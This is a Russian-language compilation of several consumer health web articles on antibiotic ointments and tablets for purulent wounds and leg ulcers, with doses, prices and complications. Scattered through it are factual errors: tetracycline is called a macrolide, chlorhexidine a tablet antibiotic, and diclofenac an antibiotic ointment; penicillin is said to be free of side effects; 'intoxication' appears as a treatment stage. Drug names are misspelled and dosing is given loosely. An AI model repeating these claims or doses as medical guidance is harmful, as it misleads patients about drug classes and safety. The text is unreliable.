Антибиотики при гнойных ранах: показания к применению и правила использования таблеток

Нагноение раны происходит под воздействием различных бактерий. Они в процессе жизнедеятельности выделяют опасные токсины, которые переносятся с током крови и приводят к развитию серьезных осложнений.

Именно поэтому в данной ситуации необходимо проводить антибактериальную терапию. Она может быть как местной, так и общей. Назначения делает лечащий хирург после осмотра и обработки раны.

Правила лечения и обработки гнойных ран

При наличии гнойной раны проводится комплексное лечение, которое включает в себя:

  • Хирургическая обработка раны, ежедневные перевязки;
  • Антибактериальная терапия;
  • Противовоспалительное лечение;
  • Витаминотерапия;
  • Симптоматическое лечение.

Различают первичную и вторичную обработку раны. ПХО (первичная хирургическая обработка), то есть лечение проводится впервые после развития гнойного процесса, возможно на догоспитальном этапе. ВХО (вторичная обработка) проводится врачом-хирургом в стерильных условиях.

Для обработки раны необходимо подготовить стерильные инструменты и перевязочный материал: стерильные перчатки, ножницы, скальпель, пинцеты, дренажный материал, бинты и марлевые салфетки.

Процедура обработки загноившейся травмы:

  • Если имеется повязка, то ее необходимо снять. После чего перчатки следует сменить во избежание занесения инфекции в рану. Если повязка отсутствует, то сначала осматривают травмированный участок;
  • Полость раны промокнуть сухой стерильной салфеткой, а затем промыть растворами антисептика, удалить гнойные выделения и сгустки крови, если таковые имеются;
  • Края раны обрабатываются антисептиками;
  • Врач осуществляет ревизию полости травмы. Если имеются участки некроза или гнойные затеки/карманы, то необходимо провести иссечение некротизированной ткани и вскрытие гнойных образований, с последующим их дренированием;
  • Рану просушивают салфеткой, после чего, при необходимости, устанавливают дренаж;
  • Накладывается салфетка, смоченная физиологическим раствором, и несколько слоев сухих салфеток;
  • Фиксация перевязочного материала с помощью стерильного бинта или лейкопластыря.

Дренаж – это способ удаления гнойного содержимого ран. Бывает активный и пассивный дренаж.

Пассивный дренаж изготавливают из трубок, перчаток и марлевых турунд. Улучшить отток жидкости по этим приспособлениям поможет, например, повязка с гипертоническим раствором хлорида натрия. Активный дренаж бывает проточно-промывной, аспирационный, комбинированный метод.

Обработка гнойной раны проводится 1 или 2 раза в день под местной анестезией. Внеочередная перевязка проводится в том случае, если повязка промокла или же возникла/усилилась боль в месте повреждения.

Местное антибактериальное лечение нагноившейся раны проводят такими группами препаратов, как полусинтетические пенициллины, тетрациклины, цефалоспорины.

В первой фазе (воспаление) лечение осуществляют с помощью растворов с антибиотиком, во второй фазе (регенерация) целесообразно применение мазей.

Антибиотики при нагноении раны назначаются только врачом с учетом чувствительности к нему микроорганизмов.

Для этого проводится анализ отделяемого на чувствительность к антибиотикам. Если же патологический процесс требует незамедлительного лечения, то назначаются препараты широкого спектра действия. Они оказывают воздействие на большую группу бактерий.

Мази и растворы, применяемые при лечении гнойной раны:

  • Мазь Банеоцин. Это комбинированный препарат (Бацитрацин + Неомицин), обладающий бактерицидным эффектом (приводит к гибели бактерий). Наносить его необходимо на очищенную от гнойного содержимого поверхность. Противопоказанием к применению данной мази являются:
    • Повышенная чувствительность к компонентам препарата;
    • Обширные раны, так как в большом количестве активные вещества способствуют снижению слуха;
    • Одновременное применение антибиотиков группы аминогликозиды;
    • Беременным и кормящим необходима консультация специалиста перед использованием;

 

  • Мазь Левомеколь. В составе находится антибиотик Хлорамфеникол. Этот препарат можно использовать в первой фазе патологического процесса, так как он не теряет своей активности в присутствии некротизированных тканей и гнойного отделяемого. Он способствует очищению раны, уничтожению бактерий и регенерации тканей. Противопоказанием является наличие аллергии на составные компоненты;
  • Мазь Вишневского (линимент бальзамический по Вишневскому). Эта мазь имеет широкое применение в хирургии, так как оказывает сильное антибактериальное и противовоспалительное воздействие. Этот препарат способствует скорейшему заживлению поврежденного участка;

Стрептоцидовая мазь назначается в том случае, если высеялся возбудитель – стрептококк. Целесообразно применение данного препарата только при небольших и неглубоких ранах. Он оказывает бактериостатическое воздействие, то есть препятствует размножению и росту стрептококков;

  • 1% раствор Диоксидин – антибиотик широкого спектра действия, выпускается в ампулах по 10 миллилитров. Его используют для наружного лечения и внутриполостного введения. Для наружного лечения раствор необходимо развести физиологическим раствором и пропитывать им стерильные салфетки. При наличии гнойных затеков раствор вводят в полость через дренажную трубку;
  • Димексид раствор – это синтетический препарат, который оказывает комплексное воздействие на рану: противовоспалительное; антисептическое, обезболивающее. Данный раствор перед использованием необходимо разбавить дистиллированной водой. Полученным средством проводят орошение, промывание и обработку травмы. Димексид является хорошим проводником для других лекарственных средств, то есть он способствует их лучшему усвоению.

Мази с антибиотиками для гнойных ран обладают не только сильным антибактериальным и противовоспалительным эффектом, но и быстро ранозаживляющим свойством.

Антибактериальные препараты системного действия, как правило, используются в виде таблеток, капсул и инъекций. Такие препараты намного эффективнее местных форм, однако их применение должно быть обосновано. В противном случае возникает привыкание микроорганизмов к лекарственным средствам.

Показания для применения системных антибиотиков:

  • Обширная, глубокая травма;
  • Распространение инфекции с током крови по организму (сепсис);
  • Развитие общей лихорадки;
  • Наличие осложнений гнойного процесса.

Антибиотики при гнойных ранах разделяются на несколько групп:

  • Пенициллины губительно влияют на стрептококки и стафилококки. В современной медицине чаще используют полусинтетические и комбинированные препараты, так как представители первого поколения уже не имеют должного воздействия на адаптировавшихся бактерий. Яркими представителями данной группы препаратов являются:
    • Ампициллин – полусинтетический пенициллин, который выпускается в виде таблеток и капсул. Курс лечения от 5 до 21 дня;
    • Амоксициллин – препарат широкого спектра действия, хорошо всасывается в кровь. Выпускается в виде таблеток, капсул и суспензии;
    • Ампиокс – комбинированный антибиотик, выпускается в виде капсул.

Цефалоспорины обладают бактерицидным воздействием.

  • Цефуроксим 0,5 грамм, относится к цефалоспоринам второго поколения. Он губительно воздействует на многое виды бактерий. Длительность лечения в среднем 1 неделя, о продолжительности терапии принимает решение лечащий врач;
  • Макролиды наименее токсичные из всех антибиотиков. Они оказывают бактериостатическое действие на стрептококки, стафилококки, хламидии, микоплазмы, легионеллы.
    • Азитромицин. Курс лечения 5 суток, прием препарата осуществляется 1 раз в день. В первый день принимается 0,5 грамм, в остальные по 0,25;
  • Тетрациклин – это препарат широкого спектра воздействия. Он приводит к прекращению размножения и роста таких микроорганизмов, как грамположительные и грамотрицательные бактерии. Принимать препарат необходимо во время еды. Он хорошо всасывается в кровь.

Необходимо помнить, что все системные антибиотики способны оказать негативное воздействие на органы пищеварения и мочевыделения.

Вспомогательные препараты для лечения

В процессе лечения используют несколько групп препаратов, которые обеспечивают комплексный подход.

Гнойная рана проявляется несколькими патологическими симптомокомплексами, для устранения которых необходимо применение таких лекарственных средств:

  • Антисептики. Они необходимы для обработки раны и ее краев. В хирургии широко применяются:
  • Обезболивающие лекарственные средства особенно необходимы в первые дни образования нагноения: Анальгин, Баралгин;
  • Противовоспалительные препараты помогают уменьшить область воспаления и отечность. Чаще всего применяют нестероидные противовоспалительные средства, так как они оказывают еще и обезболивающее действие: Кетопрофен, Артротек, Ибупрофен, Диклофенак и другие;
  • Витамины назначают для укрепления иммунитета и улучшения заживления травмы.

Осложнения гнойных ран

Если лечение нагноившейся раны проводится не в полном объеме или же вовсе отсутствует, то велика вероятность развития осложнений.

Типичные осложнения отсутствия лечения нагноений:

Хроническая форма гнойного процесса наблюдается в том случае, если заживление не происходит в течение длительного времени (3 – 4 недели);

  • Лимфаденит – воспаление регионарных (ближайших к травмированному участку) лимфатических узлов. Они становятся болезненными и увеличиваются в размерах, что выявляется при пальпации, а в тяжелых случаях это определяется визуально;
  • Лимфангит – воспаление лимфатических сосудов, расположенных выше раны. Визуально определяются красные тяжи (полосы), которые идут от места травмы к близлежащим лимфатическим узлам;
  • Сепсис – заражение крови. Это осложнение очень опасно, так как может привести к летальному исходу. Проявляется симптомами интоксикации. Наблюдается гипертермия, обезвоживание, головокружение, слабость, тошнота, рвота, в запущенных случаях потеря сознания;
  • Тромбофлебит – воспаление вен с образованием в них тромбов (кровяных сгустков). Кожа в месте расположения вен становится красной и горячей на ощупь, отмечается болезненность;
  • Остеомиелит – воспаление костной ткани;
  • Абсцессы и флегмоны – это тяжелые гнойные процессы мягких тканей.

Источник: https://1travmpunkt.com/rany/gnojnye/lechenie-antibiotikami.html

Какие антибиотики назначаются при гнойных ранах

Раневые области на теле – довольно распространенное явление, особенно у маленьких детей, которые стремятся познать окружающий мир, у некоторых работников, связанных с активным движением и риском, и у профессиональных спортсменов.

Само по себе такое повреждение является легким, не требует серьезных терапевтических действий, и не представляет особой опасности для человека. Однако, нередко фиксируются случаи, когда в рану попадают патогенные инфекции и провоцируют развитие неприятных осложнений.

Раневая область после инфицирования может нагноиться, бактериальные агенты начнут синтезировать опасные токсины, которые, попадая в кровь, могут приводить к развитию опасных заболеваний различных жизненно-важных систем.

Для того, чтобы своевременно предупредить неприятные последствия, при первичных признаках заражения следует отправляться в ближайшую больницу. Доктор оценит степень тяжести вашего состояния и назначит антибиотикотерапию при нагноении раны.

Местные антибактериальные средства

Восстановительный период делится на две части:

  • Устранение воспалительных процессов в пораженной области (для этого используют специальные антибактериальные растворы);
  • Регенерация травмированных мягких тканей (для этого используют мази, крема и порошкообразные смеси).

Выбор препарата осуществляется исключительно квалифицированным врачом, который делает выводы исходя из действия фармакологических средств и реакции пострадавшего организма на них.

Если пациенту требуются немедленные терапевтические мероприятия, то доктор останавливается на выборе антибиотиков широкого спектра действия. Данный вид лекарства неблагоприятно воздействует сразу на несколько групп патологических микроорганизмов.

Наиболее распространенными препаратами местного воздействия считаются:

  • Банеоцин – эффективная мазь, которая провоцирует стремительное уничтожение инфекционных агентов, присутствующих в ранах на ноге, руках или других частях тела. Применять средство нужно на очищенную от гнойной жидкости рану два раза в день. Этот продукт запрещен к использованию при аллергии, при слишком большой пораженной области (Банеоцин используемый в больших количествах может приводить к потере или ухудшению слуха);
  • Левомеколь – мазь, применение которой возможно даже в начальной фазе гнойного процесса. За счет своей уникальной формулы Левомеколь провоцирует очищение раневой области от гнойных выделений, уничтожает опасные микроорганизмы и ускоряет процесс восстановления и заживлении кожных покровов;
  • Мазь Вишневского – одна из наиболее популярных мазей, которая часто используется в хирургической деятельности. Она обладает сильными антибактериальными и противовоспалительными свойствами и провоцирует быстрое заживление тканей;
  • Стрептоцидовый гель – используется в тех случаях, когда провокаторами воспалительных процессов становятся стрептококки. Данное средство не применяют при глубоких и обширных повреждениях кожи;
  • Однопроцентный раствор Диоксидин – антибактериальное средство широкого спектра, выпускающееся в ампулах по десять миллилитров. Диоксидин может использоваться как для наружного, так и для внутреннего применения. Чтобы местно использовать препарат его разводят специальным физ. раствором, наносят на антибактериальную салфетку и протирают гнойную рану;
  • Демиксид – синтетический раствор, оказывающий комплексное действие на пораженные ткани: снимает воспаление, обеззараживает, снижает интенсивность болевых ощущений и провоцирует быстрое заживление ран. Разводится Димексид с дистиллированной жидкостью. Область ранения промывается и очищается полученным средством.

В аптечных пунктах также можно найти антибактериальный порошок, который наносится на раневые поверхности. К сожалению, такая присыпка для заживления ран не зарекомендовала себя, как качественный и эффективный продукт. Именно поэтому, медицинские специалисты не могут рекомендовать ее для использования своим пациентам.

Таблетированная форма антибиотиков

Антибиотики при гнойных ранах в виде таблеток, капсул и инъекционных растворов являются более сильными и действенными, нежели местные мази и гели.

Однако, их применение должно оговариваться с квалифицированным доктором, который будет выбирать назначаемый препарат исходя из тяжести состояния своего пациента.

При неправильном подборе лекарств организм пострадавшего человека и инфекционные агенты могут привыкнуть к антибиотикам, что повлечет их абсолютную безрезультативность. Данный вид фармакологических средств назначается в следующих ситуациях:

  • При глубоких, обширных ранах;
  • При развитии сепсиса;
  • При возникновении лихорадочного состояния;
  • При осложненном прогрессировании гнойных процессов.

Для терапии гноящейся раны используются:

  • Ампициллин – наполовину синтетическое средство из группы пенициллиновых (пагубно воздействуют на стафилококк и стрептококк). Курс лечения длится от 6 дней до трех недель. Подробный принцип употребления Ампициллина должен согласовываться с лечащим врачом;
  • Амоксициллин – таблетки, капсулы или инъекционная жидкость из ряда препаратов широкого спектра;
  • Ампиокс – комбинированное капсульное лекарство;
  • Цефуроксим – суспензия, выпускающаяся в количестве 0,5 мл в одной ампуле. Лекарство неблагоприятно влияет на многие группы бактериальных агентов. Длительность лечения назначается лечащим доктором, но в среднем продолжается на протяжении семи дней;
  • Азитромицин – качественно устраняет стрептококковых, хламидиозных, стафилококковых, микоплазматичных и легионелловых инфекционных агентов. Лечебный курс продолжается в течении пяти дней, в первый – пострадавший должен принимать 0,5 г, в остальные дни – 0,25 грамм препарата;
  • Тетрациклин – широкоспекторное средство, которое отрицательно влияет на грамположительные и грамотрицательные бактериальные агенты. Тетрациклин употребляется в момент поглощения пищи и славится своим быстродействием.

Каждый человек, который подвергся повреждению мягких тканей и их нагноению должен помнить, что самостоятельно принимать решение об употреблении антибиотических препаратов категорически запрещено. Антибиотики при ранах, назначенные не квалифицированным доктором, могут не улучшить, а, наоборот, лишь ухудшить состояние травмированной области и спровоцировать тяжелые осложнения.

Дополнительные лечебные средства

Помимо антибактериальных препаратов, для стремительного уничтожения инфекционных микроорганизмов и быстрой регенерации мягких тканей могут использоваться:

  • Антисептические лекарства – используются для ежедневной обработки раневой области (Этиловый спирт, перекись водорода, Зеленка, Фукорцин);
  • Болеутоляющие препараты – помогают улучшить состояние пострадавшего, устранив неприятную боль в раневой области (Анальгин, Кетанов, Ибупрофен);
  • Таблетки противовоспалительного действия – устраняют воспалительные процессы во всем организме пострадавшего (Артротек, Диклофенак);
  • Витаминные комплексы группы А, В, С, D для улучшения работы иммунной системы.

Лечение осложненных гнойным процессом ран должно быть комплексным и обязательно назначаться медицинским специалистом.

Источник: https://PerelomaNet.ru/rany/antibiotiki-pri-gnojnyh-ranah.html

Применение антибиотиков при гнойных ранах

Повреждения кожных покровов различного происхождения могут начать нарывать, воспалиться и гноиться. В таких случаях прописывают антибиотики при ранах широкого спектра действия.

Как правило, своевременно обработанные раны, благополучно заживают, не оставляя после себя никаких последствий. Но иногда процесс заживления проходит не так гладко, как хотелось.

Препараты с антибиотиками предотвратят негативные последствия и помогут быстрому заживлению раны.

Когда действительно необходимы антибиотики

Осложнения различного характера в ранах могут стать причиной развития сепсиса и других неприятностей. Для того чтобы этого не произошло, врач после визуального осмотра прописывает соответствующий антибиотик при гнойных ранах.

Обработка ран антибактериальными препаратами

Антибактериальные препараты оказывают не очень благоприятное воздействие на организм и имеют много побочных проявлений. Поэтому их назначение происходит только в крайних случаях. Приписывают антибиотик в следующих ситуациях:

  • колотые, резаные и рваные повреждения, возникшие из-за проникновения какого-либо предмета, а также укусы животных. В таких случая большая вероятность того, что в инфекция попала в рану и может вызвать осложнения;
  • при гноящейся ране;
  • после первичной хирургической обработки и наложения шва;
  • перед и после хирургического вмешательства для профилактики инфицирования открытой раны;
  • ожоги различной этиологии;
  • трофические язвы конечностей;
  • трещины на ноге начинают нагнаиваться;
  • эрозии различного происхождения.

Антибиотики при нагноении раны ускоряют процесс регенерации кожи и способствую скорейшему заживлению.

Какой антибиотик помогает при гнойных ранах

Лечение гнойных ран выполняется комплексно и включает в себя хирургическую обработку, применение противовоспалительных и антибактериальных препаратов, а также прием витаминов.

Лекарственные средства с антибиотиками помогают предотвратить распространение инфекции в кровь и большему нагноению раны.

Препараты с антибиотиками выпускаются в виде таблеток, инъекций, мазей и растворов местного применения. Предварительно, взяв анализ на возбудителя инфекции, врач определяет список антибиотиков при гнойных ранах.

Антибиотики местного действия делятся на следующие группы препаратов:

  • пенициллины;
  • тетрациклины;
  • цефалоспорины.

Данные препараты не проникают в кровь, оказывая действие только на поверхностные слои раны. Длительное применение может стать причиной привыкания  организма и устойчивости вредоносных микроорганизмов к составу антибиотика. Тогда рекомендуется поменять препарат.

Какой антибиотик пьют при ранах, а какой наносят наружно, рассмотрим ниже.

Применение пенициллина

Пенициллины — это самая распространенная антибиотическая группа препаратов, предназначенная для лечения инфекционных заболеваний, в частности зараженных бактериями и гноящихся ранах. Препарат также назначают для профилактики после хирургического вмешательства.

В аптеках можно приобрести пенициллин в форме таблеток или инъекций. Механизм действия препарата заключается в поражении клеточной оболочки патогенных организмов. Таким образом, незащищенные бактерии под воздействие внешней среды разрушаются.

Антибактериальный эффект пенициллина быстрее всего достигается при введении его внутримышечно или внутривенно. При таком способе препарат быстро проникает в кровь, распространяется и выполняет лечение. Уколы пенициллином делают каждые 4 часа.

Суточную дозу при приеме таблеток прописывает врач индивидуально по каждому случаю. При бактериальных инфекциях назначается 250-500 мг через каждые 6-8 часов. Принимают таблетки за полчаса до еды либо через 2 часа после.

Антибиотики при ранах пенициллиновой группы относится к природным, поэтому не должен вызывать побочных реакций. Но иногда случаются осложнения в виде покраснения кожи, зуда, головных болей, рвоты, ринита.

Цефалоспорины

Цефалоспорины включают в себя множество антибиотиков, основной особенностью которых является низкая токсичность и высокая активность в отношении большинства патогенных бактерий. Принимаемые препараты обладают бактерицидным действием. В отличие от пенициллинов, устойчивость бактерий к данной группе развивается намного реже.

В медицине выделяют четыре поколения антибактериальных препаратов цефалоспориновой группы, но для лечения инфицированных ран стоит принимать  антибиотики третьей группы: цефоперазон, цефотаксим, цефтриаксон, цефтазидим. При тяжелых течениях инфекционных процессов прописываются более современные антибиотики четвертого поколения: цефепим, цефпирон.

Аминогликозиды

Аминогликозиды относятся к натуральным или полусинтетическим антибиотикам, оказывающим противомикробное действие и уничтожая чувствительные к ним патогенные микроорганизмы.

Выпускается несколько классификаций антибиотиков аминогликозидной группы, отличающиеся:

  • по спектру антимикробной активности;
  • по особенностям развития привыкания при длительном применении препарата.

Для лечения гнойных инфекционных заболеваний применяют препарат 4-ой генерации — изепамицин. Прописывается антибиотик при ранах на ноге или руке.

Тетрациклин

Препарат группы тетрациклинов применяется при инфекциях кожи и мягких тканей. Антибиотик обладает большим спектром действия и оказывает выраженное бактериостатическое воздействие.

Выпускается средство в виде наружной мази, таблеток и мази для глаз. Трехпроцентную мазь «Тетрациклин» прописывают для лечения инфекционных заболеваний мягких тканей, способных нагноиться.

К противопоказаниям к применению мази относят индивидуальную непереносимость к компонентам препарата и дети младше 11 лет.

Эритромицин

Антибиотик «Эритромицин» является наиболее популярным препаратам для лечения инфекционных заболеваний бактериальной этиологии. Для лечения гноящихся повреждений  наружный препарат наносят на пораженные места 2-3 раза в день. Во время терапии ожогов медикамент используют 3 раза в неделю. Продолжительность лечения определяет врач, обычно это 7-10 дней.

Фузидин

Фузидин-натрия – антибактериальное лекарственное средство, применяемое для лечения инфекции мягких тканей, инфицированных ранений и ожогов. Выпускается в виде таблеток.

После приема препарат хорошо абсорбируется в желудочно-кишечном тракте, достигая высоких концентраций в крови. Пьют таблетки «Фузидин» после еды. Суточная доза приема для взрослого составляет 1,5 грамма. Антибиотикотерапия длится от 7 до 14 дней.

Противопоказаниями к приему является непереносимость какого-либо из компонентов.

Мази, содержащие антибиотик

Выбор препарата зависит от уровня повреждения: раны на коже, поражения верхних слоев подкожной клетчатки, глубокое проникновение. Поверхностные поражения можно вылечить наружными средствами, при которых пить антибиотик не нужно.

Бактробан

  1. Гентамицина сульфат — при нанесении на место ранения быстро всасывается и оказывает ранозаживляющее действие.
  2. Левомеколь — ускоряет процесс регенерации, оказывает дегидратирующие действия.
  3. Линкомициновая мазь — оказывает противомикробное и противовоспалительное действие.
  4. Бактробан — противомикробное средство.

К мазям для заживления ран относят «Спасатель», «Актовегин». Для гнойных ран применяется «Левосин».

Вопрос о том, какие антибиотики принимать при ранах, решается с учетом места локализации повреждения, масштаба раны и индивидуальных особенностей больного, поэтому перед приемом лекарственных средств необходима консультация врача.

Источник: https://nettravm.ru/antibiotiki-pri-ranah-01/

Антибиотики при гнойных ранах

Гнойными называют такие повреждения, в которых скапливается гной. Рядом с очагом воспаления образуется отек и отмирают прилегающие ткани. При лечении гнойных ран применяются антибиотики.

Врачевание в этом случае должно быть комплексным. Оно представлено следующими этапами:

  • удаление гноя;
  • купирование воспалительного процесса;
  • борьба с патогенными микроорганизмами;
  • восстановление эпителия;
  • интоксикация.

Мази от гнойных ран с антибиотиком

При выборе лекарственного средства во внимание должен приниматься возбудитель заболевания. Правильно подобрать антибиотики от гнойных ран может только доктор после обследования очага воспаления. Чаще всего назначаться могут такие группы медикаментов:

  1. Аминогликозиды. Данные антибактериальные средства направлены на уничтожение грамотрицательных и грамположительных бактерий. В данной группе присутствуют Бонеоцин и Гентамицина сульфат.
  2. Левомицетины. К данной группе средств относят Фулевил. Такой медикамент назначаться может не только при гноящихся ранах, но и для лечения ожогов, пролежней и т.д. К левомицетинам относят и Левомеколь. Этот препарат является комбинированным. В его составе присутствуют иммуностимулирующие вещества.
  3. Линкозамиды. Самым распространенным представителем этой группы является Линкомициновая мазь. Это противомикробное средство, используемое при лечении гнойничков и прочих воспалений эпителия.
  4. Макролиды. Сюда, прежде всего, относится 3%-ная Тетрациклиновая мазь. Данная мазь-антибиотик для заживления различных ран используется. Она подавляет размножение и последующий рост патогенных микроорганизмов. Также в этой группе лекарственных препаратов находится Эритромицин.

Эффективные антибиотики широкого спектра действия при гнойных ранах

Конечно, рассматриваться каждый конкретный случай должен отдельно. Но чаще всего, как показывает практика, при лечении гноящихся ран используются такие антибиотики:

  • Диоксидин;
  • Стрептоцидовая мазь;
  • Левоносин;
  • Левосин;
  • Бальзамический лиминет по Вишневскому;
  • Оксизон и прочие.

Среди применяемых при гнойных ранах антибиотиков есть и те препараты, что выпускаются в таблетках. К примеру, Линкомицина гидрохлорид, который назначается внутрь в течение 7-21 дня. Точный курс антибактериальной терапии может определить только доктор. Длительность приема зависит от степени поражения и протекания болезни.

Источник: https://womanadvice.ru/antibiotiki-pri-gnoynyh-ranah

Антибиотики при гнойных ранах — список лекарственных средств с инструкцией, составом и ценами

Под воздействием бактерий раны начинают гноиться. Продукты жизнедеятельность микробов являются опасными токсинами. Они разносятся по организму, что чревато развитием серьезных осложнений вплоть до сепсиса. Предотвратить опасные патологии помогают антибиотики.

Осложнения гнойных ран

Предрасполагающий фактор к развитию осложнений – лечение гнойной раны было осуществлено не полностью или вовсе отсутствовало. Это чревато развитием следующих последствий:

Осложнение Описание
Лимфангит Воспаление лимфатических сосудов в области выше раны.
Лимфаденит Воспаление регионарных лимфоузлов.
Сепсис Заражение крови опасно летальным исходом.
Абсцессы и флегмоны Гнойно-воспалительные процессы в мягких тканях.
Остеомиелит Воспаление костной ткани.
Тромбофлебит Воспаление вен и образование кровяных сгустков – тромбов.

Когда применяются антибиотики при нагноении раны

Применение антибиотиков необходимо не только для подавления размножения бактерий. Эти препараты помогают ускорить регенерацию

. Основные показания к применению таких препаратов относительно различных ран:

  • трофические язвы;
  • колотые, рваные, резаные повреждения из-за укусов животных;
  • ожоги разной природы;
  • эрозии;
  • первичная хирургическая обработка и наложение швов.

Применение местных антибиотиков показано на начальной стадии обработки гнойной раны. Системные препараты и растворы для инъекций назначаются при угрозе осложнений. Основные группы используемых антибиотиков:

Группа антибиотиков Механизм действия Преимущества Недостатки
Пенициллины Это антибиотики широкого спектра действия при гнойных ранах разрушают клеточную стенку бактерий. При инъекционном введении действует уже через пару минут.
  • высокая устойчивость многих бактерий к пенициллинам;
  • расщепление в желудке.
Цефалоспорины Тормозят синтез структурной основы клетки бактерий.
  • эффективны, когда бессильны пенициллины;
  • высокая биодоступность.
Неэффективность по отношению к энтерококкам и листериям.
Макролиды Нарушают синтез белка на этапе трансляции в клетках бактерий.
  • самая низкая токсичность из всех антибиотиков;
  • бактериостатический эффект по отношению к стрептококкам, хламидиям, легионеллам.
Широкий перечень противопоказаний.
Аминогликозиды Тормозят синтез белка внутри клетки бактерий.
  • высокая антибактериальная активность;
  • редкое возникновение аллергии.
Низкая биодоступность.
Тетрациклины Угнетает в рибосомах бактерий синтез белка, что вызывает гибель микроба. Уникальная всасываемость. Высокий риск появления аллергии.

Таблетки

Системные антибиотики показаны при обширных гнойных ранах, развитии общей лихорадки, осложнениях, в том числе и сепсисе. Эффективные антибактериальные препараты в таблетках:

Наименование антибиотика Действие Способ применения Противопоказания Побочные эффекты Цена, рублей
Ампициллин Антибактериальное. 250-500 мг за 1 ч до еды 4 раза за сутки.
  • инфекционный мононуклеоз;
  • лимфолейкоз;
  • колит.
  • зуд, шелушение;
  • дисбактериоз;
  • лейкопения;
  • тромбоцитопения.
20 за 20 шт.
Цефуроксим Антибактериальное. 250 мг каждые 12 ч.
  • язвенный колит;
  • лактация;
  • беременность;
  • истощение.
  • флебит;
  • бронхоспазм;
  • вагинит;
  • зуд промежности;
  • судороги.
400 за 10 шт.
Азитромицин Широкий спектр антибактериального действия. 1 раз в сутки за 1 ч до или 2 ч после еды.
  • непереносимость макролидов;
  • тяжелые патологии печени.
  • нарушения зрения;
  • тошнота;
  • рвота;
  • диарея;
  • лимфоцитопения.
190 за 3 шт.
Мономицин Антибактериальное. 250 мг до 6 раз в сутки.
  • беременность;
  • патологии почек;
  • неврит слухового нерва.
  • вестибулярные расстройства;
  • нефротоксичность;
  • неврит слухового нерва;
  • миалгии.
20 за 20 шт.
Тетрациклин Противомикробное. 250-500 мг до 4 раз в сутки.
  • лейкопения;
  • лактация;
  • возраст менее 8 лет;
  • дисфункция печени или почек;
  • беременность.
  • дисфагия;
  • нейтропения;
  • отек Квинке;
  • головная боль;
  • головокружение;
  • азотемия.
58 за 20 шт.

Местные антибиотики вызывают меньше побочных эффектов, поскольку их активные компоненты попадают в организм, минуя пищеварительный тракт. При гнойных выделениях из раны могут применяться следующие препараты:

Наименование антибиотика Действие Способ применения Противопоказания Побочные эффекты Цена, рублей
Банеоцин Бактерицидное и антибактериальное. Наносить мазь под накладываемую повязку или смазывать ею раны 2-3 раза в сутки.
  • обширные поражения;
  • расстройства почечной функции;
  • заболевания органов зрения.
  • крапивница;
  • кожная сыпь;
  • сухость кожи.
358 за 10 г
Неомицин Антибактериальное и бактериостатическое. 1-3 раза в сутки распылять на рану с расстояния 15-20 см.
  • обширная площадь поражения;
  • детский возраст;
  • мокнутие в месте нанесения.
315 за 15 г
Левомеколь Противомикробное, дегидратирующее, способствующее заживлению. Наносить 2-3 раза в сутки на гнойные раны.
  • экзема;
  • псориаз;
  • грибковые инфекции кожи.
  • гиперемия;
  • ангионевротический отек;
  • жжение;
  • местный отек;
  • крапивница;
  • дерматит.
107 за 40 г

Источник: https://vrachmedik.ru/2507-antibiotiki-pri-gnojnyh-ranah.html

Антибиотики при трофических язвах и гнойных ранах на ноге — чем лечить

Любые гнойные раны требуют немедленного лечения, включающего в себя антибиотики. Основная опасность таких ран в быстроте течения недуга: серьезные осложнения могут наступать уже через сутки, если лекарственные средства будут подобраны неправильно.

Прием антибиотиков при трофических язвах и гнойных ранах на ноге необходим в любом случае, но необходимо правильно их подбирать, сочетая с другими методами лечения.

Принцип действия медикаментов

Принцип действия антибиотиков при гнойных ранах комплексный. Их действие направлено на достижение таких основных поставленных задач: 

  • укрепить иммунитет;
  • очистить раневую поверхность от скопления гнойных выделений;
  • если места раны начали болеть – уменьшить болевые ощущения;
  • обеспечить нормальное кровоснабжение нижних конечностей, предотвратить дополнительную нагрузку на стенки сосудов;
  • ускорить процесс восстановления кожного покров.

Лечение трофических язв нижних конечностей не всегда предполагает, что больной будет принимать антибиотики перорально или инъекционно.

Сейчас появилось достаточно много антибиотиков для наружного применения, которые предлагаются в виде мазей, гелей, присыпок.

Чтобы вылечить язвы на ногах, лучше использовать комплексный подход к лечению: одновременно обрабатывать рану снаружи и принимать лекарства внутрь.

Главное при этом – правильно подобрать антибиотики, которые будут не только сочетаемы между собой, но и усиливать эффект друг друга.

Нужны ли антибиотики

Часто антибиотики при трофических язвах назначаются лишь в исключительных случаях. Такая осторожности обусловлена сильным воздействием подобных средств на организм.  Препараты имеют много побочных проявлений, поэтому применяются при лечении только если ситуация серьезная.

При трофической язве зачастую допустимо употреблять средства данного спектра в случае развития воспалительного процесса, который проявляется появлением гнойных выделений, повышением температуры тела.

Читайте по теме:  Какие таблетки помогают от варикоза вен на ногах

Настолько критичная ситуация требует немедленного назначения антибактериальной терапии, иначе может развиться тяжелое осложнение – гангрена (всегда требуется ампутация конечности).

Трофическая язва антибиотиками (в качестве вспомогательной терапии) может требовать, если больной делал операцию (например, удалял пораженные варикозом сосуды). Тогда антибиотик является превентивной мерой недопущения развития гнойных воспалений.

Появление гноя – признак серьезного воспаления, которое только изредка может быть вылечено обычными антисептиками. Трофическая язва всегда вызвана каким-либо заболеванием, которое зачастую сохраняется.

Проще говоря, сохраняется первопричина, поэтому часто гнойная рана назад появилась после завершения лечения. Именно повышенный риск требует более серьезной терапии, чтобы полностью избавиться от проблемы.

Чем лечить

Антибиотики для лечения трофической язвы делятся на группы: 

  • мази, кремы, гели;
  • таблетки, порошки, принимаемые перорально;
  • уколы.

Какой способ лучше выбрать зависит от того, насколько сильное нагноение, какой участок кожи поражен, наличие сопутствующих патологий.

Зачастую изначально назначают наружный антибиотик (повязку с Левомеколем). Также распространены: мазь Вишневского, Диклофенак, Мирамистин, Аргосульфан. Предварительно рана обрабатывается физраствором или антисептиком, затем накладывается повязка (дважды в сутки).

Если месяц отсутствуют результаты, тогда применяются инъекционные средства, таблетки. Мазь также необходимо применять параллельно – наружное средство поможет уменьшить болевые ощущения.

Гелиомицин, Хлоргексидин (таблетки) – популярные представители данной группы препаратов. Также часто используются капельницы, внутривенные инъекции Реополиглюкин, Пентоксифиллин.

Назначать антибиотики может только доктор после соответствующих аллергических проб. Выделяют множество различных групп препаратов, поэтому самостоятельно подобрать подходящее средство невозможно.

Также нужно помнить: необходим принимать пероральные, инъекционные антибиотики совместно с Йогуртом, Лактовитом ил Линексом, чтобы избежать развития дисбактериоза.

Если не помог один препарат – необходимо, чтобы доктор подобрал другое средство данной группы.

Дополнительные средства

Не только такие препараты используются, если появился гной. Чтобы добиться желаемого эффекта, необходимо использовать также другие средства:

